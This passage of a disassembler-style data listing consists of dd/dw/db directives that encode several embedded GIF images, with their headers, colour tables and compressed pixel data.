dd 862087E1h, 2488E228h, 89E26896h, 0E2A8A628h, 0E8B62C8Ah
dd 0A41D8BE2h, 7F85C340h, 0A03314Ch, 0E3A0581Bh, 0E8F63C8Eh
dd 6408FE3h, 4490E429h, 91E46916h, 0A9FE2648h, 364C92E4h
dd 330A01B9h, 13C8214Ch, 0C1709032h, 0A9665804h, 765C96E5h
dd 6097E5E9h, 98E62986h, 0E6699664h, 0A9A66899h, 90179AE6h
dd 8213C320h, 9030138h, 0E7604416h, 0A9E6789Dh, 0F67C9EE7h
dd 809FE7E9h, 0A0E82A06h, 0E86A1684h, 6A2688A1h, 38300901h
dd 2F134821h, 3413080h, 0E96A5694h, 0AA6698A5h, 769CA6E9h
dd 0A0A7E9EAh, 0A8EA2A86h, 0EA6A96A4h, 0F08013A9h, 2C821342h
dd 110782E1h, 0ACEB202Ch, 0EB6AD6B4h, 0AAE6B8ADh, 0F6BCAEEBh
dd 0C0AFEBEAh, 0B0EC2B06h, 811B16C4h, 212C2E07h, 642C1148h
dd 0D00200E0h, 0B4ED2B46h, 0ED6B56D4h, 0AB66D8B5h, 76DCB6EDh
dd 0E0B7EDEBh, 0B8EE2B86h, 42C0640Eh, 0C10C8211h, 1C0C0602h
dd 0F0BBEEE0h, 0BCEF2BC6h, 0EF6BD6F4h, 0ABE6F8BDh, 0F6FCBEEFh
dd 0BFEFEBh, 600CC07h, 0AE910C2Ch, 4020140Ah, 370CC2C0h
dd 10C3F0ECh, 0C4F12C47h, 6C57FE14h, 6718C5F1h, 1CC6F1ACh
dd 271EC77h, 0F060A815h, 30A4421Fh, 0A40301C1h, 2CCAF2ACh
dd 0CBF2ECB7h, 0F32CC730h, 6CD734CCh, 0E738CDF3h, 3CCEF3ACh
dd 0AC16023h, 0C2810B23h, 6D1402C9h, 2748D1F4h, 4CD2F4ADh
dd 0D3F4ED37h, 0F52D4750h, 6D5754D4h, 0F57D5F5h, 0CACFC0A0h
dd 943E1FEh, 0C000180Fh, 6D9764D8h, 0A768D9F6h, 6CDAF6ADh
dd 0DBF6EDB7h, 0F72DC770h, 4DD774DCh, 24040077h, 0E9AAC1A0h
dd 17090AEh, 0F82E0780h, 6E1784E0h, 2788E1F8h, 8CE2F8AEh
dd 0E3F8EE37h, 792E4790h, 402407E4h, 0DC360981h, 1F0BE8F0h
dd 0E7EA7048h, 0FA2E87A0h, 6E97A4E8h, 4810A57Ah, 31094170h
dd 17083124h, 0DD670442h, 6ED7B4ECh, 0E7B8EDFBh, 2170FBAEh
dd 0B827090h, 48411036h, 21345C1Ah, 27C80E44h, 0CCF2FCAFh
dd 0F3FCEF37h, 0FD2F47D0h, 6F57D4F4h, 67D8F5FDh, 3BF63DAFh
dd 883D108h, 2F849F13h, 97E4F8FEh, 0E8F9FE6Fh, 0FAFEAFA7h
dd 8121BECh, 3B00h, 0
dd 38464947h, 0B6139h, 180000Bh, 4EE49500h, 21FFFFFFh
dd 0A0104F9h, 2C000100h, 0
dw 0Bh
dw 0Bh
dw 200h
dw 8C11h
aBhiAaZGi8s db 'h›Íí œ´Z',1Bh,'êƒë8S',0
dd 3B00h, 0
dd 38464947h, 2926139h, 0AE30081h, 0F2ECE100h, 0E8F5F0E8h
dd 0F5EFF5F1h, 0FBF9F6F8h, 0F8FCFAF8h, 0FDFCFCFBh, 0FEFEFDFEh
dd 0FFFEFEFEh, 4 dup(0FFFFFFFFh), 4F921FFh, 0F000A01h
dd 2C00h, 2920000h, 4000081h, 49A810FEh, 0EB38BDABh, 60FFBBCDh
dd 69648E28h, 0AEAA689Eh, 70BEEB6Ch, 0AF4CF2Ch, 0EFAE7548h
dd 0C0FFEF7Ch, 2C4870A0h, 0A3B7371Ah, 3A6CC972h, 74A8D09Fh
dd 0AF524BCAh, 0CB76ACD8h, 0D6A77AEDh, 2E4C78AFh, 6868CF9Bh
dd 0BB6ECD38h, 7A78F0DFh, 0EFDBAF2Dh, 45DEBCF8h, 80FFFBDFh
dd 7D688281h, 88878683h, 853D8A89h, 908F8E8Bh, 8D159291h
dd 98979693h, 9A956F99h, 0A09F9E9Dh, 0A4A19C4Fh, 30A7A6A5h
dd 0ACABA8A3h, 0AA16AEADh, 0B4B3B2AFh, 0B8B5B198h, 0B781BAB9h
dd 0C0BFBEBBh, 0C4C1BD6Ch, 0C357C6C5h, 0CCCBCAC7h, 0D0CDC942h
dd 387CD2D1h, 0D8D7D6D3h, 0DCD9CF2Dh, 0DEDBD8DDh, 0E0CAE2E1h
dd 0BAE7E6E3h, 0ECEBE8E5h, 0F0EDEAACh, 0F2EF9EF1h, 0F490F6F5h
dd 82FBFAF7h, 0FFFCF9h, 480BF8EDh, 6AA120B0h, 0D42A1306h
dd 0C3A17033h, 421A5187h, 88B1489Ch, 33188AC4h, 0B1A8B8EEh
dd 0FE6A47A3h, 348A431Fh, 0C9A471C2h, 0A2104893h, 9B52C95Ch
dd 633096CAh, 0B329288Eh, 369A4666h, 0A9C44273h, 9E4267B3h
dd 402833Eh, 3DE8B42Ah, 0C29346A2h, 0E9B4AA43h, 0A34EA639h
dd 0B52A837Ah, 56AA35EAh, 0AAC342B3h, 0AE31EBB5h, 302C35Eh
dd 2E6CB62Bh, 0CAD366B2h, 0EDB6AB42h, 0E36EB62Ah, 0B72B8292h
dd 76BA276Eh, 0ABC25AF3h, 0BE23EFB7h, 223037Eh, 0AF30B82Ch
dd 0EF138697h, 0B1B8AC22h, 238EC440h, 0B92C62BBh, 96C81CF2h
dd 0ACA28733h, 0CE17B3B9h, 167439Eh, 14B4BA2Dh, 3753A6D2h
dd 35BAAD41h, 63AECC49h, 0BB2D6203h, 0B6D82336h, 0ADA1D773h
dd 0DE0C77BBh, 0B383BEh, 9F8BC2Eh, 8B93C6E2h, 79BCAE40h
dd 0A3CEE607h, 0BD2E8063h, 0D6EA04FAh, 0EECF63A5h, 0E5773B7Ch
dd 0F1BBFDEh, 0F9385E2Fh, 0A3CFBEF2h, 0BD7EADD7h, 65EEF6EDh
dd 7AEF8FC3h, 0F6D57D3Eh, 0AFCE9BEFh, 0FEFF345Fh, 7CAFD9Eh
dd 0E0266A0h, 6815968h, 8260864Ah, 0A0C82D8Eh, 683E0E62h
dd 0A128458h, 7E856146h, 5EA1885Dh, 57686E1Ah, 5CA1E87h
dd 8D6E8862h, 265AA248h, 8A56689Eh, 62C58A2Ah, 8BD5E8Bh
dd 0CE3256A3h, 368D5568h, 8E63854Ah, 0A3C8ED4Eh, 68FE3E52h
dd 0A429054h, 3E916445h, 4EA4891Dh, 53692E4Ah, 4CA4E93h
dd 4D309465h, 374B2549h, 85657020h, 0C060DC09h, 161296h
dd 800203C0h, 0F0060F9h, 0C0003Ch, 0C0381A66h, 20026998h
dd 0B4070100h, 401DF19h, 9A670008h, 0E7E0DE71h, 2A06809Fh
dd 1684A0E8h, 88A1E86Ah, 0A2E8AA26h, 0E8EA368Ch, 2A4690A3h
dd 5694A4E9h, 98A5E96Ah, 0A6E9AA66h, 0E9EA769Ch, 103E7CA3h
dd 3B0001h, 0
dd 38464947h, 2926139h, 1D84001Ah, 0E0E0E000h, 0E2E1E1E1h
dd 0E3E3E2E2h, 0E4E4E4E3h, 0E6E6E6E5h, 0E7E7E6E6h, 0E8E8E7E7h
dd 0E9E9E9E8h, 0EAEAE9E9h, 0F2ECE1EAh, 0E8EBEBEBh, 0EDE6EDECh
dd 0F0EDE7F0h, 0E7ECECECh, 0EFEFF1EDh, 0F0F0F0EFh, 0F2F1F1F1h
dd 0F3F3F2F2h, 0F4F4F4F3h, 0F6F5F5F5h, 0F7F7F6F6h, 0F8F8F8F7h
dd 2 dup(0FFFFFFFFh), 4F921FFh, 1F000A01h, 2C00h, 2920000h
dd 500001Ah, 7E27E0FEh, 689E694Ch, 0EB6CAEAAh, 0CF2C70BEh
dd 78DF6D74h, 0EF7CEFAEh, 70A0C0FFh, 6F1A2C48h, 81E311A3h
dd 0D09E0018h, 0AD4A74A8h, 0ACD8AF5Ah, 7AEDCB76h, 78B0E0BFh
dd 0CF9B2E4Ch, 0CD7AB4E8h, 0F0DFBB6Eh, 60F100EEh, 0BC811D28h
dd 0FBEFCF7Eh, 828180FFh, 86858483h, 8A898887h, 8E8D8C8Bh
dd 9291908Fh, 96959493h, 9A999897h, 1F760E8Dh, 0A2A10210h
dd 0A6A5A4A3h, 0AAA9A8A7h, 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h
dd 0BAB9B8B7h, 0BEBDBCBBh, 0C2C1C0BFh, 92412B7h, 0CAC9C803h
dd 0CECDCCCBh, 0D2D1D0CFh, 0D6D5D4D3h, 0DAD9D8D7h, 0DEDDDCDBh
dd 0E2E1E0DFh, 0E6E5E4E3h, 0DEE9E8E7h, 4052509h, 0F2F1F0EFh
dd 0F6F5F4F3h, 0FAF9F8F7h, 0FEFDFCFBh, 0A0300FFh, 0A0B0481Ch
dd 130883C1h, 0B0C85C2Ah, 1087C3A1h, 6128160Bh, 8BC5A2A0h
dd 0DC6A3318h, 0C7A3B1C8h, 8A43208Fh, 0A4B2491Ch, 0FE2893C9h
dd 0C95CAA53h, 97CBA5B2h, 9CCA6330h, 0CDA6B349h, 0E80E2596h
dd 0A7B3C9DCh, 83409FCFh, 0B44A1D0Ah, 48A3D1A8h, 0CA5D2A93h
dd 0A7D3A9B4h, 9D4AA350h, 0D5AAB54Ah, 6AB358ABh, 84B52ADDh
dd 0C360AF82h, 0B64B1D8Ah, 68B3D9ACh, 0CB5DAAD3h, 0B7DBADB6h
dd 9DCAE370h, 0DDAEB74Bh, 0EAF378BBh, 0AFB7CBDDh, 0EF80BFDFh
dd 0B8405896h, 88C3E1B0h, 0CC5E2B13h, 0C7E3B1B8h, 9E4B2390h
dd 0E5B2B94Ch, 6B3398CBh, 0B3B9CCDEh, 43A0CFE7h, 0BA4D1E8Bh
dd 0D12E734h, 0CD5EAB52h, 0D7EBB5BAh, 9ECB63B0h, 0EDB6BB4Dh
dd 0EB73B8DBh, 0B7BBCDDEh, 83C0DFEFh, 0BC4E1F0Bh, 0C8E3F1B8h
dd 5E0F2B93h, 0E7F38222h, 9F4BA3D0h, 0F5BABD4Eh, 6BB3D8EBh
dd 0BBBDCEDFh, 0C3E0EFF7h, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h
dd 0F7FBBDBEh, 984C4BE6h, 0FDBEBF4Fh, 0EBF3F8FBh, 0BFBFCFDFh
dd 600FFFFh, 480E028h, 81E06816h, 0A8FE2608h, 360C82E0h
dd 1083E0E8h, 84E12846h, 2582E14h, 0A8661805h, 761C86E1h
dd 2087E1E8h, 88E22886h, 0E2689624h, 0A8A62889h, 0B62C8AE2h
dd 308BE2E8h, 8CE328C6h, 0E368D634h, 8E6388Dh, 0F4150963h
dd 408FE3E8h, 90E42906h, 0E4691644h, 0A9264891h, 364C92E4h
dd 5093E4E9h, 94E52946h, 0E5695654h, 0A9665895h, 765C96E5h
dd 3C9565E9h, 98E6297Eh, 0E6699664h, 0A9A66899h, 0B66C9AE6h
dd 459BE6E9h, 9CC16096h, 0E769D674h, 0A9E6789Dh, 0F67C9EE7h
dd 809FE7E9h, 0A0E82A06h, 0E86A1684h, 0AA2688A1h, 368CA2E8h
dd 90A3E8EAh, 0A4E92A46h, 0C25A2E94h, 0AA669805h, 769CA6E9h
dd 0A0A7E9EAh, 0A8EA2A86h, 0EA6A96A4h, 0AAA6A8A9h, 0B6ACAAEAh
dd 0B0ABEAEAh, 0ACEB2AC6h, 0EB6AD6B4h, 0AE6B8ADh, 0F6BAA5EBh
dd 0C0AFEBEAh, 0B0EC2B06h, 0EC6B16C4h, 0AB26C8B1h, 6025A82Ch
dd 0D0B3ECE0h, 0B4ED2B46h, 6B56FED4h, 66D8B5EDh, 0DCB6EDABh
dd 0B7EDEB76h, 0EE2B86E0h, 6B96E4B8h, 0A6E8B9EEh, 0ECBAEEABh
dd 0BBEEEBB6h, 0C19096E6h, 6BD6F4BCh, 0E6F8BDEFh, 0FCBEEFABh
dd 0BFEFEBF6h, 0F02C0700h, 6C1704C0h, 2708C1F0h, 0CC2F0ACh
dd 0C3F0EC37h, 0F12C4710h, 5C2F14C4h, 67180682h, 1CC6F1ACh
dd 0C7F1EC77h, 0F22C8720h, 6C9724C8h, 0A728C9F2h, 2CCAF2ACh
dd 0CBF2ECB7h, 0F32CC730h, 6CD734CCh, 0E738CDF3h, 3AC5F30Ch
dd 0CFF3ECF7h, 0F42D0740h, 6D1744D0h, 2748D1F4h, 25C834ADh
dd 0D3F4E06Ch, 0F52D4750h, 6D5754D4h, 6758D5F5h, 5CD6F5ADh
dd 0D7F5ED77h, 0F62D8760h, 6D9764D8h, 0A768D9F6h, 6CDAF6ADh
dd 0DBF6EDB7h, 0F70D3766h, 6DD774DCh, 0E778DDF7h, 7CDEF7ADh
dd 0DFF7EDF7h, 25D5B80h, 6E178407h, 2788E1F8h, 8CE2F8AEh
dd 0E3F8EE37h, 0F92E4790h, 6E5794E4h, 6798E5F9h, 9CE6F9AEh
dd 0E7F9EE77h, 2E87A00Ch, 97A4E8FAh, 210339CEh, 3B0000h
dd 0
aGif89ab db 'GIF89ab',0
dd 7BC6001Ch, 0B895A00h, 5B0C895Bh, 8A5C098Ah, 0F8B5D0Ah
dd 5F088C5Dh, 9061088Eh, 8916308h, 641D9064h, 93651E91h
dd 1B936708h, 68089567h, 94681994h, 8976924h, 6A19966Ah
dd 986C2395h, 19996E19h, 72199B70h, 9E74199Ch, 399E7719h
dd 7B40A17Bh, 0A27C41A2h, 3FA47F42h, 803EA57Fh, 0A6813DA5h
dd 4AA6813Ch, 833CA882h, 0A88448A7h, 43A8843Ch, 873CAA86h
dd 0AB883CABh, 3CAD894Ch, 8D49AC89h, 0B18F50AEh, 5EB0904Fh
dd 915FB090h, 0B69556B2h, 5BB79755h, 9B67B89Ah, 0BB9C5CBBh
dd 6BBA9E61h, 9E76BC9Dh, 0BDA277BDh, 74BDA272h, 0A370BEA2h
dd 0C0A272BEh, 68C0A262h, 0A672BFA5h, 0C1A772C0h, 80C1A472h
dd 0A874C2A7h, 0C1A872C2h, 81C1A77Eh, 0A972C3A9h, 0C5A86DC4h
dd 8FC1AD68h, 0AB8FC2ABh, 0C9AE79C5h, 6ECAAE73h, 0B27FC9B0h
dd 0C7B38FC7h, 92C8B190h, 0B678CEB4h, 0CFB490CBh, 74CFB473h
dd 0B983CDB6h, 0CFBB93CDh, 77D3B997h, 0B988D1BAh, 0D3BA78D3h
dd 79D4BA7Dh, 0BF9AD2BFh, 0D7C08DD5h, 9ED5C284h, 0C284D9C2h
dd 0DAC385D9h, 92DAC488h, 0CAA2D8C6h, 0DEC9A5DBh, 99DECB94h
dd 0CD99DFCDh, 0E0CDA9DEh, 9AE0CD99h, 0D19EE1CFh, 0E0D6ACE1h
dd 0A8E4D3BBh, 0D5BCE1D7h, 0E4D5A9E4h, 0B5E8DAB0h, 0DBB7E8DAh
dd 0EADDB6E8h, 0BCEADEBBh, 0E0C1EBDFh, 0FFFFC2EBh, 3 dup(0FFFFFFFFh)
dd 4F921FFh, 7F000A01h, 2C00h, 620000h, 700001Ch, 827F80FEh
dd 86858483h, 8A898887h, 8A8D8C8Bh, 76777A6Fh, 96959474h
dd 9A999897h, 9E9D9C9Bh, 7A777697h, 7871866Fh, 6B6C6D72h
dd 0AEADAC69h, 0B2B1B0AFh, 0B6B5B4B3h, 6D6C6BADh, 85717872h
dd 63677079h, 0C6C56162h, 0CAC9C8C7h, 0CECDCCCBh, 6362C8CFh
dd 85797067h, 5C5F6875h, 0DEDD585Ah, 0E2E1E0DFh, 0E6E5E4E3h
dd 5C5AE0E7h, 8575685Fh, 545B6473h, 0F6F5F453h, 0FAF9F8F7h
dd 0FEFDFCFBh, 90B654F9h, 8DC85399h, 124C2897h, 0B0C85C2Ah
dd 1087C3A1h, 89C4A23h, 37178A31h, 5964D485h, 0C7A3A472h
dd 8A43208Fh, 0A4B2491Ch, 972493C9h, 0C8535164h, 3B23154Ch
dd 499CCA62h, 9BCDA6B3h, 0DCEA7338h, 1548D389h, 34CA8533h
dd 0A8A321E1h, 9348A3D1h, 0B4CA5D2Ah, 4CA7D3A9h, 53293479h
dd 19928C08h, 0DD6AB22Fh, 0D7ABB5CAh, 8AC360AFh, 86760B1Dh
dd 0BA853012h, 0A2B18104h, 0FEB7DBADh, 9DCAE370h, 0DDAEB74Bh
dd 46174BBh, 4AE852E9h, 229170Eh, 0B84C1E0Bh, 88C3E1B0h
dd 8C5E2B13h, 2B8E45D8h, 50D0AC85h, 0E5B2A241h, 6B3398CBh
dd 0B3B9CCDEh, 559CCFE7h, 4852B0D0h, 1D138C4Ah, 0CD5EAB52h
dd 0D7EBB5BAh, 9ECB63B0h, 0C44FB0Dh, 0A08A8529h, 0B7A100B8h
dd 83C0DFEFh, 0BC4E1F0Bh, 0C4E3F1B8h, 5228A02Fh, 0B098848h
dd 9F4BA20Dh, 0F5BABD4Eh, 6BB3D8EBh, 82DD8EDFh, 7E852109h
dd 0A0B0A894h, 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh, 0F8942BECh
dd 8C7C851h, 0EBF2080Ah, 0BFBFCFDFh, 600FFFFh, 80E028h
dd 0F823052h, 0C210F485h, 0E8340704h, 461083E0h, 1484E128h
dd 85E16856h, 42104E14h, 0F0E8850Fh, 84060441h, 2488E228h
dd 89E26896h, 0E2A8A628h, 0F046288Ah, 0DC850E81h, 50381E0h
dd 8DE368D4h, 0E3A8E638h, 0E8F63C8Eh, 3A3C8FE3h, 850DC1E0h
dd 301C0E0h, 0A0970803h, 364C92E4h, 5093E4E9h, 94E52946h
dd 393E54h, 50E01C03h, 482210C8h, 4040h, 98E62984h, 0E6699664h
dd 0A9A66899h, 6649AE6h, 22048040h, 13C8510Ch, 80F0602Ch
dd 0A9E40902h, 0F67C9EE7h, 809FE7E9h, 0A0E82A06h, 0F02A7Ch
dd 51382C06h, 0B4441208h, 1A06C200h, 0A4E92064h, 0E96A5694h
dd 0AA6698A5h, 4E9CA6E9h, 2006C1AAh, 120440B4h, 5012486h
dd 0A0D43610h, 0B6ACAAEAh, 0B0ABEAEAh, 0ACEB2AC6h, 36AB6B4h
dd 0E1245010h, 0F6BCAEC8h, 83AFEBEAh, 3B000204h, 38464947h
dd 2836139h, 180001Eh, 0EADFCA00h, 21FFFFFFh, 0A0104F9h
dd 2C000100h, 0
dd 1E0283h, 0CB00200h, 0EDCBA98Eh, 0B49CA30Fh, 0DEB38BDAh
dd 860FFBBCh, 0E69648E2h, 0CA464289h, 0C70BEEB6h, 0F6D74CF2h
dd 0CEFAE78Dh, 0C0FFEF7h, 0A2C4870Ah, 2A4C88F1h, 0F3A6CC97h
dd 0A74A8D09h, 8AF5AAD4h, 0DCB76ACDh, 0E0BF7AEh, 0B2E4C78Bh
dd 0AB4E8CF9h, 0FBB6ECD7h, 0E7CB8F0Dh, 8EFDBAF4h, 0FCF7EBCFh
dd 180FFFBEh, 58483828h, 98887868h, 0D8C8B8A8h, 1908F8E8h
dd 59493929h, 99897969h, 0D9C9B9A9h, 1A09F9E9h, 5A4A3A2Ah
dd 9A8A7A6Ah, 0DACABAAAh, 1B0AFAEAh, 5B4B3B2Bh, 9B8B7B6Bh
dd 0DBCBBBABh, 1C0BFBEBh, 5C4C3C2Ch, 0B70C7C6Ch, 0CCCBC82h
dd 5014h, 3Bh, 0
dd 38464947h, 116139h, 0D6E70011h, 39260A00h, 154A3210h
dd 42104931h, 45440E43h, 143C4B18h, 462E484Dh, 5B4A2862h
dd 355F4D20h, 56173F50h, 44573B64h, 34745A2Dh, 6143755Ch
dd 686D224Ch, 48647226h, 82398B6Ah, 8F843BA1h, 3F86786Ch
dd 81518C87h, 0AA874DA2h, 4CA68264h, 894FA58Ah, 0A18C49A7h
dd 51AA8A50h, 8D50A88Bh, 0A88E4DA8h, 407D9642h, 87798D95h
dd 0A9915295h, 4DA79351h, 9256A795h, 0B2905CABh, 56B8905Dh
dd 9653A895h, 0AB9657AAh, 49BF9163h, 9859A59Ch, 0BE9266A8h
dd 65A28E7Eh, 995DBB94h, 0AA9E4DABh, 66BF9661h, 9765B696h
dd 0AC9D5AC4h, 58AD9E57h, 966EA89Fh, 0B69B66C6h, 6CB79A6Ah
dd 9D65BC9Ah, 0C3996FB3h, 5FC49873h, 0A357A6A1h, 0AFA15EAAh
dd 58B0A357h, 0A45BACA4h, 0ABA165AAh, 68C49B72h, 0A75BAFA1h
dd 0B1A6599Bh, 51AEA55Fh, 0A660B2AAh, 0B49B85AFh, 60A6A665h
dd 0A666ADA7h, 0BAA36EADh, 62B1AB5Bh, 0A867A7AAh, 0CDA07FB7h
dd 75B0AD5Eh, 0A37ABCA5h, 0C9A27DC6h, 73BEA578h, 0B157B4A8h
dd 0D3A37BAEh, 93B3B158h, 0B35EB0A0h, 0C5A77790h, 63B5B25Fh
dd 0AB74AAB2h, 0ACAF71C2h, 8AB4B560h, 0AE77CEA6h, 9CBA58B7h
dd 6EC1A68Fh, 0B664B0B2h, 0A8B46BA6h, 6CB8B65Fh, 0A697A9B4h
dd 0CBA986B6h, 8CCAAA86h, 0BB61D6A8h, 0ABB5739Ch, 61C9AD85h
dd 0AD86B3BAh, 0BAB37BC8h, 6AB4B96Ah, 0AD8DB8BAh, 0B1B77CD3h
dd 67AFBE66h, 0AE8FB7BDh, 0C1B1A2DAh, 8CB8C467h, 0B397C3B8h
dd 0A6C07DD9h, 6EC8B891h, 0B794B9C4h, 0B6C27ACEh, 81B6C671h
dd 0BE8DBDC1h, 9FC67CBCh, 70CEBA95h, 0BE90BBC7h, 0D2BA98BFh
dd 73C3BE94h, 0BB9AB8C9h, 0D9BA9ED4h, 9EBCC38Ch, 0C786D8BBh
dd 0C5C58DB5h, 78DBBDA2h, 0BEA7BDCFh, 0BBCF7CE1h, 87D2C3A3h
dd 0D188BACFh, 0B1CF8FA7h, 84C1D184h, 0C6A4B9D2h, 0D7C5A7D2h
dd 78BFD381h, 0C4AAB3D7h, 0E8C4ACDDh, 0A9B5D38Bh, 0C9A7D2C8h
dd 0E3C5B1D0h, 8EC1D689h, 0CFA3C1D5h, 0ACDA90C7h, 0B8E6C9B7h
dd 0DF8DE4CCh, 0D1D2B0B4h, 0B7EBCDB9h, 0CFBDE0D0h, 0E8D1BFE6h
dd 0BADFD4BDh, 0E2A2D8D8h, 0DAD9BCC2h, 0A4C0E4A0h, 0DABCC2E3h
dd 0D0DFB3D9h, 0C2B5EC98h, 0E9A4DCDCh, 0BBEBA2BEh, 0C9E7DCC7h
dd 0ECA3F5DAh, 0F5DDCCBDh, 0A6D9E3C4h, 0EBCFBFF1h, 0E7EECFE5h
dd 0BBE5F1D3h, 0F2D8C9FBh, 0CCFEC2EDh, 0FFCDFFC6h, 1Fh dup(0FFFFFFFFh)
dd 4F921FFh, 0FF000A01h, 2C00h, 110000h, 8000011h, 9FF00FEh
dd 0E62381Ch, 6153121h, 25081C2Ah, 0CF663297h, 164B4DA2h
dd 3540A163h, 0E2D560ACh, 0AE96CBB5h, 2CDAD066h, 0D0E8320Ch
dd 80C35F2Ah, 0E9F5EB19h, 30CB115h, 0B2C18025h, 4C251668h
dd 0C2B9349Dh, 0A7126765h, 5B0203h, 0CB8992D9h, 50A153A5h
dd 695449FDh, 0FF0BA907h, 0C180DC10h, 431E4A87h, 89ECE875h
dd 0C91E494h, 39FE5340h, 0DC291A8h, 0B43C358Ah, 0C5D1B0F4h
dd 4A1F9787h, 406808E4h, 0D894306h, 0F0A85842h, 744E380h
dd 0C0662F24h, 8CE09009h, 0AC240F86h, 0E52268E8h, 68100AC8h
dd 2594438h, 2215DFE0h, 79187226h, 930B2663h, 4CF04F22h
dd 20416440h, 0AA344705h, 48134994h, 9B3F1C4Fh, 0B4810C5Ch
dd 3E80E040h, 5208C28Ch, 2C94A924h, 8C9C5F51h, 8210A112h
dd 3C9656A9h, 0AA058AA5h, 775A2350h, 0A08C2C08h, 6131D9CAh
dd 2B2182BFh, 0C580C6C6h, 0FC6057Fh, 4D56A32Ch, 0DF10ADDAh
dd 0A0783217h, 407BE0h, 3Bh, 0
aGif89at db 'GIF89aT',0
dd 15840017h, 0CFCFCF00h, 0DFD0D0D0h, 0E1E1DFDFh, 0E3E3E3E1h
dd 0E5E4E4E4h, 0E6E6E5E5h, 0E7E7E7E6h, 0E9E8E8E8h, 0ECECE9E9h
dd 0EEEEEEECh, 0F0EFEFEFh, 0F1F1F0F0h, 0F2F2F2F1h, 0F4F3F3F3h
dd 0F5F5F4F4h, 0F6F6F6F5h, 8 dup(0FFFFFFFFh), 4F921FFh
dd 1F000A01h, 2C00h, 540000h, 5000017h, 8E27E0FEh, 689E6964h
dd 2A2CAEAAh, 0CF2C5440h, 78DF6D74h, 3090E7AEh, 70A0BB0Eh
dd 440DCC48h, 0C9728990h, 0D09F3A6Ch, 554A74A8h, 0AC924442h
dd 7AEDCB76h, 78B0E0BFh, 0CE4515BCh, 0CD7AB4E8h, 0F0DFBB6Eh
dd 0A9091A78h, 0BCF8EFDBh, 0FBEFCF7Eh, 0F2276FFh, 86858483h
dd 8A898887h, 858D8C8Bh, 92910E22h, 96959493h, 9A999897h
dd 0D22939Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0A1A9A8A7h, 0AEAD0C22h
dd 0B2B1B0AFh, 0B6B5B4B3h, 0B22AFB7h, 0BEBDBCBBh, 0C2C1C0BFh
dd 0BDC5C4C3h, 0CAC90A22h, 0CECDCCCBh, 0D2D1D0CFh, 922CBD3h
dd 0DAD9D8D7h, 0DEDDDCDBh, 0D9E1E0DFh, 0E6E5E2D6h, 22DBE8E7h
dd 0EEEDEC08h, 0F2F1F0EFh, 0F6F5F4F3h, 0FA0722EEh, 0FEFDFCFBh
dd 0A0300FFh, 5F90481Ch, 130882BEh, 4FE85C2Ah, 10878184h
dd 489C4A23h, 8BC5A2B1h, 14463318h, 0C780A031h, 8A43208Fh
dd 0A4B2491Ch, 282893C9h, 10F91E3Dh, 97CBA520h, 0C866330h
dd 800230h, 0EA733802h, 0A7B3C9DCh, 83409FCFh, 0A0001502h
dd 48A3D185h, 108AE93h, 3B00h, 0
dd 38464947h, 146139h, 75C60011h, 9622D00h, 3B0A662Dh
dd 76270F6Bh, 0B7A1A09h, 282F6E4Eh, 7B460A85h, 3E715B15h
dd 6E6E696Bh, 8D4F6E6Eh, 0B9A3723h, 51259158h, 9B550D9Fh
dd 26A4442Ah, 5010A256h, 0B51F0AA6h, 8989890Bh, 8C8A8A8Ah
dd 90908C8Ch, 91909090h, 93929292h, 0BF2B9493h, 7B55213h
dd 5B04C228h, 95950DB3h, 14B36395h, 6202C63Ah, 0C04811B9h
dd 9BC5B19h, 5C05C24Bh, 9F9F23BEh, 22BF65A0h, 5904CF3Dh
dd 0C66405CAh, 2D04E0Dh, 72A8A8A8h, 0CE6324C6h, 0ED15907h
dd 6311CC6Dh, 0CC721AD0h, 54C38F17h, 0B401DB5Fh, 0CE88B4B4h
dd 52C79736h, 0B51CD873h, 0B6B6B5B5h, 0B7B7B7B6h, 70B8B8B8h
dd 0BBBB13E0h, 45D58FBBh, 8018E07Fh, 0D59822DFh, 1AE57D48h
dd 0C113E879h, 0E687C2C1h, 0C4C4C425h, 0B021E88Ah, 0C8C878D6h
dd 20ED87C8h, 84C9C9C9h, 0CBCB19F0h, 31EB94CBh, 0CE28EF91h
dd 0F48ECECEh, 0CFCFCF1Fh, 9C5CE7AEh, 0D3D336F1h, 0D5D5D5D3h
dd 0A944F2A5h, 0E6BE49F2h, 0D7D7D784h, 9C41F7A2h, 0E8C029FCh
dd 2DFCA186h, 0B663F5B3h, 0F2C65DF6h, 0E3E3E387h, 0E47CF8C4h
dd 0FDC0E4E4h, 6DFFC373h, 0CD67FFC6h, 0EAEA88FCh, 7BFFCDEAh
dd 0ED7CFFCFh, 0FFD8EDEDh, 0EFEFEF8Eh, 0F3F2F2F2h, 0F4F4F3F3h
dd 0FDFDFDF4h, 8 dup(0FFFFFFFFh), 4F921FFh, 7F000A01h
dd 2C00h, 140000h, 7000011h, 827F80A7h, 3B488283h, 8A84363Ah
dd 716E5282h, 70717273h, 4F57646Bh, 84193F4Dh, 75757466h
dd 273D5C72h, 1F151618h, 544B3F2Dh, 147F3C52h, 9467475h
dd 3D158A8Bh, 1A7F1758h, 0A7FBCB4h, 656A638Ah, 4E535D67h
dd 26323E45h, 6F5F8B0Fh, 4061686Ch, 120E1120h, 1D21251Ch
dd 884101Bh, 0BD05346Dh, 0BD041306h, 554ABCE7h, 4C51565Ah
dd 0B283944h, 60695BBDh, 1E223349h, 292C2A24h, 86EBD23h
dd 60C5A0h, 70B483BAh, 0E502C988h, 0D171088h, 12F10E0Eh
dd 178AC624h, 3C206035h, 400840h, 1030884h, 3B00h, 0
dd 38464947h, 2766139h, 26A50015h, 0DADADA00h, 0DEDEDEDDh
dd 0DEDEDEDEh, 0DFDFDFDFh, 0E1E0E0E0h, 0E2E2E1E1h, 0E3E3E3E2h
dd 0E4E7E4E0h, 0E5E5E4E4h, 0E6E6E6E5h, 0E8E7E7E7h, 0E9E9E8E8h
dd 0EAEAEAE9h, 0E6EBEAEAh, 0EBEAEDEBh, 0EBEBEBECh, 0ECF1EDE5h
dd 0EDEDECECh, 0EEEEEEEDh, 0F0EFEFEFh, 0F1F1F0F0h, 0F2F2F2F1h
dd 0F4F3F3F3h, 0F5F5F4F4h, 0F6F6F6F5h, 0F8F7F7F7h, 0F9F9F8F8h
dd 0FAFAFAF9h, 0FFFBFBFBh, 13h dup(0FFFFFFFFh), 4F921FFh
dd 3F000A01h, 2C00h, 2760000h, 6000015h, 708AC0FEh, 8F1A2C48h
